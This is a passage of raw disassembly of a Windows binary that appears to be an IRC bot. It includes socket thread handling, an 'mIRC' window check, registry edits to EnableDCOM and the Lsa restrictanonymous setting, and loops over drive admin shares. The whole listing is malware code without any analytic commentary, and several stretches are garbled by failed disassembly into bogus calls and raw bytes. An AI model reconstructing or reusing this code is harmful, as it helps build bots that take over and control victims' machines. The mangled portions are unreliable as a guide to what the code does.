near ; CODE XREF: sub_4110D8+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_41D048 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_411084 call dword_433AD4 ; FindWindowA test eax, eax mov eax, offset dword_430CE8 jnz short loc_41106D mov eax, offset byte_432708 loc_41106D: ; CODE XREF: sub_411035+31j push eax push esi push offset dword_430CE0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41246A add esp, 14h jmp short loc_4110A4 ; --------------------------------------------------------------------------- loc_411084: ; CODE XREF: sub_411035+22j call dword_433AD4 ; FindWindowA test eax, eax mov eax, offset dword_430CE8 jnz short loc_411098 mov eax, offset byte_432708 loc_411098: ; CODE XREF: sub_411035+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_411EEE pop ecx pop ecx loc_4110A4: ; CODE XREF: sub_411035+4Dj lea eax, [ebp+var_1C] push eax call sub_4126F0 pop ecx cmp eax, 2 pop esi jbe short loc_4110D3 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_4138E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_413710 add esp, 18h loc_4110D3: ; CODE XREF: sub_411035+7Dj mov eax, [ebp+arg_0] leave retn sub_411035 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110D8 proc near ; CODE XREF: sub_40A059+7Fp ; sub_40A1C1+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_430C6C loc_4110E4: ; CODE XREF: sub_4110D8+3Fj cmp [ebp+arg_C], 0 jz short loc_4110FF lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_412310 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_411109 ; --------------------------------------------------------------------------- loc_4110FF: ; CODE XREF: sub_4110D8+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_411109: ; CODE XREF: sub_4110D8+25j test eax, eax jnz short loc_41111B add esi, 14h inc edi cmp esi, offset dword_430CD0 jl short loc_4110E4 jmp short loc_411129 ; --------------------------------------------------------------------------- loc_41111B: ; CODE XREF: sub_4110D8+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_430C70[eax*4] pop ecx loc_411129: ; CODE XREF: sub_4110D8+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_41113C push [ebp+arg_0] call sub_411035 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41113C: ; CODE XREF: sub_4110D8+57j mov eax, [ebp+arg_0] pop ebp retn sub_4110D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411141 proc near ; DATA XREF: sub_41120E+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_411F70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_433AC8 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_433B48 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4111FF lea eax, [ebp+var_10] push 10h push eax push esi call dword_433A70 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_438C64[ecx], esi jz short loc_4111FF push [ebp+var_34] push [ebp+var_28] call dword_433B54 ; inet_ntoa push eax mov edi, offset dword_462994 push offset unk_430CEC push edi call sub_411EEE push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40F9F1 push edi call sub_408E17 add esp, 28h loc_4111FF: ; CODE XREF: sub_411141+5Dj ; sub_411141+7Ej push esi call dword_433B60 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_411141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41120E proc near ; DATA XREF: .nsp0:0040D3D1o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_41D05C mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_41123C: ; CODE XREF: sub_41120E+ECj push [ebp+var_2C] push [ebp+var_20] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_430D28 push eax call sub_411EEE lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_438A58 push eax call sub_413710 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_411141 push edi push edi call dword_41D070 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_4112A8 loc_41129D: ; CODE XREF: sub_41120E+98j cmp [ebp+var_C], edi jnz short loc_4112A8 push 32h call esi ; dword_41D05C jmp short loc_41129D ; --------------------------------------------------------------------------- loc_4112A8: ; CODE XREF: sub_41120E+8Dj ; sub_41120E+92j push [ebp+var_4] call dword_41D074 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; dword_41D05C lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_411FD0 add esp, 0Ch push [ebp+arg_0] call dword_4339FC ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_433AC4 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_411FD0 add esp, 0Ch jmp loc_41123C sub_41120E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112FF proc near ; DATA XREF: .nsp0:0040F632o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_411346 call sub_41135F jmp short loc_41134B ; --------------------------------------------------------------------------- loc_411346: ; CODE XREF: sub_4112FF+3Ej call loc_411683 loc_41134B: ; CODE XREF: sub_4112FF+45j add esp, 10h push [ebp+var_14] call sub_411CB6 pop ecx push 0 call near ptr 0AB0000h inc edx sub_4112FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41135F proc near ; CODE XREF: sub_4112FF+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_433B98, edi jnz loc_411491 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_433B38 ; RegOpenKeyExA test eax, eax jnz short loc_4113EA mov ax, word_431110 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_433AEC ; RegSetValueExA test eax, eax jz short loc_4113CC push offset unk_4310CC jmp short loc_4113D1 ; --------------------------------------------------------------------------- loc_4113CC: ; CODE XREF: sub_41135F+64j push offset dword_43109C loc_4113D1: ; CODE XREF: sub_41135F+6Bj lea eax, [ebp+var_214] push eax call sub_411EEE pop ecx pop ecx push [ebp+var_4] call dword_433AA4 ; RegCloseKey jmp short loc_4113FD ; --------------------------------------------------------------------------- loc_4113EA: ; CODE XREF: sub_41135F+36j lea eax, [ebp+var_214] push offset unk_431058 push eax call sub_411EEE pop ecx pop ecx loc_4113FD: ; CODE XREF: sub_41135F+89j cmp [ebp+arg_C], edi jnz short loc_41141C push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_41141C: ; CODE XREF: sub_41135F+A1j lea eax, [ebp+var_214] push eax call sub_408E17 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_433B38 ; RegOpenKeyExA test eax, eax jnz short loc_41148A lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_433AEC ; RegSetValueExA test eax, eax jz short loc_41146C push offset unk_430FF4 jmp short loc_411471 ; --------------------------------------------------------------------------- loc_41146C: ; CODE XREF: sub_41135F+104j push offset unk_430FAC loc_411471: ; CODE XREF: sub_41135F+10Bj lea eax, [ebp+var_214] push eax call sub_411EEE pop ecx pop ecx push [ebp+var_4] call dword_433AA4 ; RegCloseKey jmp short loc_4114A4 ; --------------------------------------------------------------------------- loc_41148A: ; CODE XREF: sub_41135F+E2j push offset unk_430F5C jmp short loc_411496 ; --------------------------------------------------------------------------- loc_411491: ; CODE XREF: sub_41135F+13j push offset unk_430F18 loc_411496: ; CODE XREF: sub_41135F+130j lea eax, [ebp+var_214] push eax call sub_411EEE pop ecx pop ecx loc_4114A4: ; CODE XREF: sub_41135F+129j cmp [ebp+arg_C], edi jnz short loc_4114C3 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_4114C3: ; CODE XREF: sub_41135F+148j lea eax, [ebp+var_214] push eax call sub_408E17 cmp dword_433BC0, edi pop ecx jnz loc_41163E push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_4114E6: ; CODE XREF: sub_41135F+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_433A14 cmp eax, edi mov [ebp+var_10], eax jz short loc_411583 cmp eax, 0EAh jz short loc_411583 mov esi, offset off_430D68 loc_411517: ; CODE XREF: sub_41135F+21Dj push dword ptr [esi] push edi call sub_410042 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41152E push offset unk_430EE0 jmp short loc_411533 ; --------------------------------------------------------------------------- loc_41152E: ; CODE XREF: sub_41135F+1C6j push offset unk_430EA0 loc_411533: ; CODE XREF: sub_41135F+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41246A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_411566 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_411566: ; CODE XREF: sub_41135F+1EBj lea eax, [ebp+var_214] push eax call sub_408E17 add esi, 8 pop ecx cmp esi, offset dword_430D88 jl short loc_411517 jmp loc_41161B ; --------------------------------------------------------------------------- loc_411583: ; CODE XREF: sub_41135F+1AAj ; sub_41135F+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_411612 loc_411592: ; CODE XREF: sub_41135F+2AFj mov edi, [esi] push edi call sub_4142AC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_411607 push edi call sub_40FF2F push eax push 0 call sub_410042 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4115C1 push offset unk_430E68 jmp short loc_4115C6 ; --------------------------------------------------------------------------- loc_4115C1: ; CODE XREF: sub_41135F+259j push offset unk_430E28 loc_4115C6: ; CODE XREF: sub_41135F+260j lea eax, [ebp+var_214] push 200h push eax call sub_41246A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_4115FA push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_4115FA: ; CODE XREF: sub_41135F+27Fj lea eax, [ebp+var_214] push eax call sub_408E17 pop ecx loc_411607: ; CODE XREF: sub_41135F+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_411592 xor edi, edi loc_411612: ; CODE XREF: sub_41135F+22Dj push [ebp+var_8] call dword_433B58 loc_41161B: ; CODE XREF: sub_41135F+21Fj cmp [ebp+var_10], 0EAh jz loc_4114E6 lea eax, [ebp+var_214] push offset unk_430DEC push eax call sub_411EEE pop ecx pop ecx pop ebx jmp short loc_411651 ; --------------------------------------------------------------------------- loc_41163E: ; CODE XREF: sub_41135F+177j lea eax, [ebp+var_214] push offset unk_430DA8 push eax call sub_411EEE pop ecx pop ecx loc_411651: ; CODE XREF: sub_41135F+2DDj cmp [ebp+arg_C], edi jnz short loc_41166F push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_41166F: ; CODE XREF: sub_41135F+2F5j lea eax, [ebp+var_214] push eax call sub_408E17 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41135F endp ; --------------------------------------------------------------------------- loc_411683: ; CODE XREF: sub_4112FF:loc_411346p push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_433B98, ebx push esi jnz loc_4117B1 lea eax, [ebp-4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_433B38 ; RegOpenKeyExA test eax, eax jnz short loc_41170E mov ax, word_431318 mov [ebp-6], ax lea eax, [ebp-6] push eax call sub_4126F0 pop ecx push eax lea eax, [ebp-6] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push dword ptr [ebp-4] call dword_433AEC ; RegSetValueExA test eax, eax jz short loc_4116F0 push offset unk_4312E0 jmp short loc_4116F5 ; --------------------------------------------------------------------------- loc_4116F0: ; CODE XREF: .nsp0:004116E7j push offset dword_4312B0 loc_4116F5: ; CODE XREF: .nsp0:004116EEj lea eax, [ebp-220h] push eax call sub_411EEE pop ecx pop ecx push dword ptr [ebp-4] call dword_433AA4 ; RegCloseKey jmp short loc_411721 ; --------------------------------------------------------------------------- loc_41170E: ; CODE XREF: .nsp0:004116B9j lea eax, [ebp-220h] push offset unk_431058 push eax call sub_411EEE pop ecx pop ecx loc_411721: ; CODE XREF: .nsp0:0041170Cj cmp [ebp+14h], ebx jnz short loc_411740 push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40F9F1 add esp, 14h loc_411740: ; CODE XREF: .nsp0:00411724j lea eax, [ebp-220h] push eax call sub_408E17 pop ecx lea eax, [ebp-4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_433B38 ; RegOpenKeyExA test eax, eax jnz short loc_4117AA lea eax, [ebp-8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push dword ptr [ebp-4] mov [ebp-8], ebx call dword_433AEC ; RegSetValueExA test eax, eax jz short loc_41178C push offset unk_431260 jmp short loc_411791 ; --------------------------------------------------------------------------- loc_41178C: ; CODE XREF: .nsp0:00411783j push offset unk_431218 loc_411791: ; CODE XREF: .nsp0:0041178Aj lea eax, [ebp-220h] push eax call sub_411EEE pop ecx pop ecx push dword ptr [ebp-4] call dword_433AA4 ; RegCloseKey jmp short loc_4117C4 ; --------------------------------------------------------------------------- loc_4117AA: ; CODE XREF: .nsp0:00411765j push offset unk_4311C8 jmp short loc_4117B6 ; --------------------------------------------------------------------------- loc_4117B1: ; CODE XREF: .nsp0:00411696j push offset unk_430F18 loc_4117B6: ; CODE XREF: .nsp0:004117AFj lea eax, [ebp-220h] push eax call sub_411EEE pop ecx pop ecx loc_4117C4: ; CODE XREF: .nsp0:004117A8j cmp [ebp+14h], ebx jnz short loc_4117E3 push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40F9F1 add esp, 14h loc_4117E3: ; CODE XREF: .nsp0:004117C7j lea eax, [ebp-220h] push eax call sub_408E17 cmp dword_433BC0, ebx pop ecx jnz loc_411955 ; CODE XREF: .nsp0:00411873j push edi mov esi, offset off_430D68 mov edi, 200h loc_411807: ; CODE XREF: .nsp0:0041186Cj push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40FF96 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_411822 push offset unk_431194 jmp short loc_411827 ; --------------------------------------------------------------------------- loc_411822: ; CODE XREF: .nsp0:00411819j push offset unk_431158 loc_411827: ; CODE XREF: .nsp0:00411820j lea eax, [ebp-220h] push edi push eax call sub_41246A add esp, 10h cmp [ebp+14h], ebx jnz short loc_411856 push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40F9F1 add esp, 14h loc_411856: ; CODE XREF: .nsp0:0041183Aj lea eax, [ebp-220h] push eax call sub_408E17 add esi, 8 pop ecx cmp esi, offset off_430D78 jl short loc_411807 call near ptr 0AB0000h jz short near ptr loc_4117F6+4 ror byte ptr [ecx+41B3FC45h], 0Fh test [eax+eax+458B0000h], bh ; CODE XREF: .nsp0:00411937j cld and eax, 1 cmp al, 1 jnz loc_411932 cmp bl, 41h jz loc_411932 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp-14h] push 0Ah push eax call sub_41246A push esi push offset aC_0 ; "%c:\\" lea eax, [ebp-20h] push 0Ah push eax call sub_41246A add esp, 20h lea eax, [ebp-20h] push eax call dword_433B28 ; GetDriveTypeA cmp eax, 3 jnz short loc_411932 lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax push 0 call sub_40FF96 add esp, 0Ch test eax, eax lea eax, [ebp-14h] push eax jnz short loc_4118F0 push offset unk_431194 jmp short loc_4118F5 ; --------------------------------------------------------------------------- loc_4118F0: ; CODE XREF: .nsp0:004118E7j push offset unk_431158 loc_4118F5: ; CODE XREF: .nsp0:004118EEj lea eax, [ebp-220h] push edi push eax call sub_41246A add esp, 10h cmp dword ptr [ebp+14h], 0 jnz short loc_411925 push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40F9F1 add esp, 14h loc_411925: ; CODE XREF: .nsp0:00411909j lea eax, [ebp-220h] push eax call sub_408E17 pop ecx loc_411932: ; CODE XREF: .nsp0:00411889j ; .nsp0:00411892j ... inc bl shr dword ptr [ebp-4], 1 jnz near ptr loc_41187C+5 lea eax, [ebp-220h] push offset unk_431114 push eax call sub_411EEE pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_411968 ; --------------------------------------------------------------------------- loc_411955: ; CODE XREF: .nsp0:loc_4117F6j lea eax, [ebp-220h] push offset unk_430DA8 push eax call sub_411EEE pop ecx pop ecx loc_411968: ; CODE XREF: .nsp0:00411953j cmp [ebp+14h], ebx jnz short loc_411986 push ebx lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40F9F1 add esp, 14h loc_411986: ; CODE XREF: .nsp0:0041196Bj lea eax, [ebp-220h] push eax call sub_408E17 pop ecx push 1 pop eax pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41199A proc near ; CODE XREF: .nsp0:00404972p ; .nsp0:004059B8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_438A58 loc_4119A2: ; CODE XREF: sub_41199A+18j cmp byte ptr [eax], 0 jz short loc_4119B6 add eax, 234h inc edi cmp eax, offset dword_461F48 jl short loc_4119A2 jmp short loc_411A01 ; --------------------------------------------------------------------------- loc_4119B6: ; CODE XREF: sub_41199A+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_438A58[esi] push eax call sub_413710 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_438C58[esi], eax and dword_438C5C[esi], 0 mov eax, [esp+8+arg_8] and dword_438C60[esi], 0 mov dword_438C64[esi], eax and byte_438C70[esi], 0 pop esi loc_411A01: ; CODE XREF: sub_41199A+1Aj mov eax, edi pop edi retn sub_41199A endp ; --------------------------------------------------------------------------- byte_411A05 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:0040F3C8o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 0E8006A14h, 69E5ACh, 555E5F52h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431410h, 0FF0C75FFh, 7AE80875h dd 83FFFFDFh, 0FF3314C4h, 438A58BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0F63868FFh, 0E8500042h, 446h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 32E80875h, 83FFFFDFh, 0C68124C4h dd 234h, 48FE8147h, 7C00461Fh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_411AD5 proc near ; CODE XREF: .nsp0:0040E7B7p ; sub_411B63+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_411B5D cmp esi, 12Ch jge short loc_411B5D imul esi, 234h push edi push ebx push dword_438C6C[esi] lea edi, dword_438C6C[esi] call near ptr 0AB0000h sbb al, 39h pop ds jz short loc_411B0D push 1 pop ebp loc_411B0D: ; CODE XREF: sub_411AD5+33j mov [edi], ebx lea edi, dword_438C60[esi] mov dword_438C58[esi], ebx mov dword_438C5C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_411B2E push eax call sub_410D06 pop ecx loc_411B2E: ; CODE XREF: sub_411AD5+50j mov [edi], ebx lea edi, dword_438C64[esi] mov byte ptr dword_438A58[esi], bl mov byte_438C70[esi], bl push dword ptr [edi] call dword_433B60 ; closesocket lea esi, dword_438C68[esi] mov [edi], ebx push dword ptr [esi] call dword_433B60 ; closesocket mov [esi], ebx pop edi loc_411B5D: ; CODE XREF: sub_411AD5+Dj ; sub_411AD5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_411AD5 endp ; =============== S U B R O U T I N E ======================================= sub_411B63 proc near ; CODE XREF: .nsp0:loc_407D0Dp ; .nsp0:00409A1Ep ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_438A58 loc_411B6F: ; CODE XREF: sub_411B63+2Aj cmp byte ptr [esi], 0 jz short loc_411B80 push edi call sub_411AD5 test eax, eax pop ecx jz short loc_411B80 inc ebx loc_411B80: ; CODE XREF: sub_411B63+Fj ; sub_411B63+1Aj add esi, 234h inc edi cmp esi, offset dword_461F48 jl short loc_411B6F pop edi mov eax, ebx pop esi pop ebx retn sub_411B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B95 proc near ; CODE XREF: .nsp0:0040BC4Fp ; .nsp0:0040BCC0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_438C5C loc_411BA9: ; CODE XREF: sub_411B95+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_411BCB test edi, edi jle short loc_411BBD cmp [esi], edi jz short loc_411BBD cmp ebx, edi jnz short loc_411BCB loc_411BBD: ; CODE XREF: sub_411B95+1Ej ; sub_411B95+22j push ebx call sub_411AD5 test eax, eax pop ecx jz short loc_411BCB inc [ebp+var_4] loc_411BCB: ; CODE XREF: sub_411B95+1Aj ; sub_411B95+26j ... add esi, 234h inc ebx cmp esi, offset dword_46214C jl short loc_411BA9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_411B95 endp ; =============== S U B R O U T I N E ======================================= sub_411BE2 proc near ; CODE XREF: sub_405851+Bp ; .nsp0:004058F5p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_438C58 loc_411BE9: ; CODE XREF: sub_411BE2+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_411BF2 inc eax loc_411BF2: ; CODE XREF: sub_411BE2+Dj add ecx, 234h cmp ecx, offset dword_462148 jl short loc_411BE9 retn sub_411BE2 endp ; =============== S U B R O U T I N E ======================================= sub_411C01 proc near ; CODE XREF: .nsp0:0040EE9Ep arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_438C58 loc_411C0B: ; CODE XREF: sub_411C01+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_411C24 add ecx, 234h inc edx cmp ecx, offset dword_462148 jl short loc_411C0B pop esi retn ; --------------------------------------------------------------------------- loc_411C24: ; CODE XREF: sub_411C01+10j mov eax, edx pop esi retn sub_411C01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C28 proc near ; CODE XREF: .nsp0:0040F571p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_411C41 push [ebp+arg_1C] call sub_41245F pop ecx loc_411C41: ; CODE XREF: sub_411C28+Ej push eax push [ebp+arg_18] call sub_411B95 pop ecx test eax, eax pop ecx jle short loc_411C6D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_411EEE add esp, 14h jmp short loc_411C87 ; --------------------------------------------------------------------------- loc_411C6D: ; CODE XREF: sub_411C28+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_411EEE add esp, 10h loc_411C87: ; CODE XREF: sub_411C28+43j cmp [ebp+arg_C], 0 jnz short loc_411CA7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_411CA7: ; CODE XREF: sub_411C28+63j lea eax, [ebp+var_200] push eax call sub_408E17 pop ecx leave retn sub_411C28 endp ; =============== S U B R O U T I N E ======================================= sub_411CB6 proc near ; CODE XREF: sub_401000+A2p ; .nsp0:004014D4p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_438C6C[eax], ecx mov dword_438C58[eax], ecx mov dword_438C5C[eax], ecx mov dword_438C60[eax], ecx mov dword_438C64[eax], ecx mov dword_438C68[eax], ecx mov byte ptr dword_438A58[eax], cl mov byte_438C70[eax], cl retn sub_411CB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CF3 proc near ; CODE XREF: .nsp0:0040F87Dp ; sub_411E21+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_411CFD: ; CODE XREF: sub_411CF3+68j mov cl, [esi] test cl, cl jz short loc_411D5D cmp eax, 1 jnz short loc_411D5D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_411D5D cmp cl, 2Ah jz short loc_411D44 cmp cl, 3Fh jz short loc_411D27 cmp cl, 5Bh jz short loc_411D2C xor eax, eax cmp cl, dl setz al loc_411D27: ; CODE XREF: sub_411CF3+26j inc [ebp+arg_4] jmp short loc_411D57 ; --------------------------------------------------------------------------- loc_411D2C: ; CODE XREF: sub_411CF3+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_411D89 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_411D57 ; --------------------------------------------------------------------------- loc_411D44: ; CODE XREF: sub_411CF3+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_411E21 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_411D57: ; CODE XREF: sub_411CF3+37j ; 